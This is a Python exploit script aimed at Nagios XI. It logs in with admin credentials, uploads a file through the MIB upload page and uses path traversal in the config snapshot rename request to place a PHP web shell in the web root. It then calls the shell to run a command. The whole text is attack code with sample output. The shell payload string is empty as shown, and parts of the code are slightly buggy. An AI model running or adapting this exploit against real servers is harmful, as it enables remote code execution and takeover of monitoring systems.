import requests import sys import re ## Example usage # $ python3 exploit.py http://192.168.122.248/nagiosxi/ nagiosadmin 'Passw0rd!' 'hostname' # [+] Seems like upload worked # [+] Seems like file move worked, checking for http://192.168.122.248/nagiosxi/tools/shell.php # [*] Output # nagiosxi-vm ## Set input data url = sys.argv[1] ## Ex: http://192.168.1.123/nagiosxi/ username = sys.argv[2] password = sys.argv[3] cmd = sys.argv[4] php_code = f'' LOGIN_ENDPOINT = "login.php" UPLOAD_ENDPOINT = "admin/mibs.php" SNAPSHOT_MV_ENDPOINT = "admin/coreconfigsnapshots.php" SHELL_FILENAME = "shell" php_code = f'' ## Proxies for Burp proxies = dict.fromkeys(['http','https'],'http://127.0.0.1:8080') def get_nsp_str(text): nsp_match = re.search('var\snsp_str\s=\s"([a-f0-9]+)"', text) if nsp_match: return nsp_match.group(1) ## Start HTTP session/exploitation requests with requests.Session() as s: s.verify = False s.proxies.update(proxies) ## Login section login_url = f"{url}{LOGIN_ENDPOINT}" nsp = None login_info_req = s.get(login_url) login_nsp = get_nsp_str(login_info_req.text) if not login_nsp: print("Failed to grab nsp for login") exit() ### Build login request login_data = { "nsp": login_nsp, "page": "auth", "pageopt": "login", "username": username, "password": password, "loginButton": "" } login_req = s.post(login_url, data=login_data) ### Confirm redirect to the `index.php` page if 'index.php' not in login_req.url: print("[-] Invalid credentials") exit() ## Upload PHP file with multipart form request to /admin/mibs.php mibs_upload_url = f"{url}{UPLOAD_ENDPOINT}" mibs_nsp_req = s.get(mibs_upload_url) mibs_nsp = get_nsp_str(mibs_nsp_req.text) if not mibs_nsp_req: print("Failed to get nsp for mibs upload") exit() ### Build upload payload upload_data = { 'nsp': (None, mibs_nsp), 'uploadedfile': (SHELL_FILENAME, php_code), 'mode': (None, 'upload') } ### Do the upload print(f"[*] Making upload POST request to {mibs_upload_url}") upload_req = s.post(mibs_upload_url, files=upload_data) if upload_req.ok and 'MIB file(s) successfully installed' in upload_req.text: print("[+] Seems like upload worked") else: print("[!] Upload may not have worked, but continuing anyway") ## Snapshot MV path traversal section snapshot_mv_url = f"{url}{SNAPSHOT_MV_ENDPOINT}" snapshot_mv_nsp_req = s.get(snapshot_mv_url) snapshot_mv_nsp = get_nsp_str(mibs_nsp_req.text) if not snapshot_mv_nsp_req: print("Failed to get nsp for mibs upload") exit() ### Build path traversal filename snapshot_mv_params = { 'rename': 'php', 'file': f'../../../../../../../../../../../../../../usr/share/snmp/mibs/{SHELL_FILENAME}', 'new_name': f'/../../../../../../../../../usr/local/nagiosxi/html/tools/{SHELL_FILENAME}' } print(f"[*] Making snapshot move GET request to {snapshot_mv_url}") snapshot_mv_req = s.get(snapshot_mv_url, params=snapshot_mv_params) if 'coreconfigsnapshots.php' in snapshot_mv_req.url: print(f"[+] Seems like file move worked!") ## Check if shell worked shell_url = f"{url}tools/{SHELL_FILENAME}.php" print(f"[*] Making shell request to {shell_url}") shell_req = s.get(shell_url) if shell_req.ok: print("[*] Output") print(shell_req.text) else: print(f"[-] Failed: {shell_req.url} [{shell_req.status_code}]")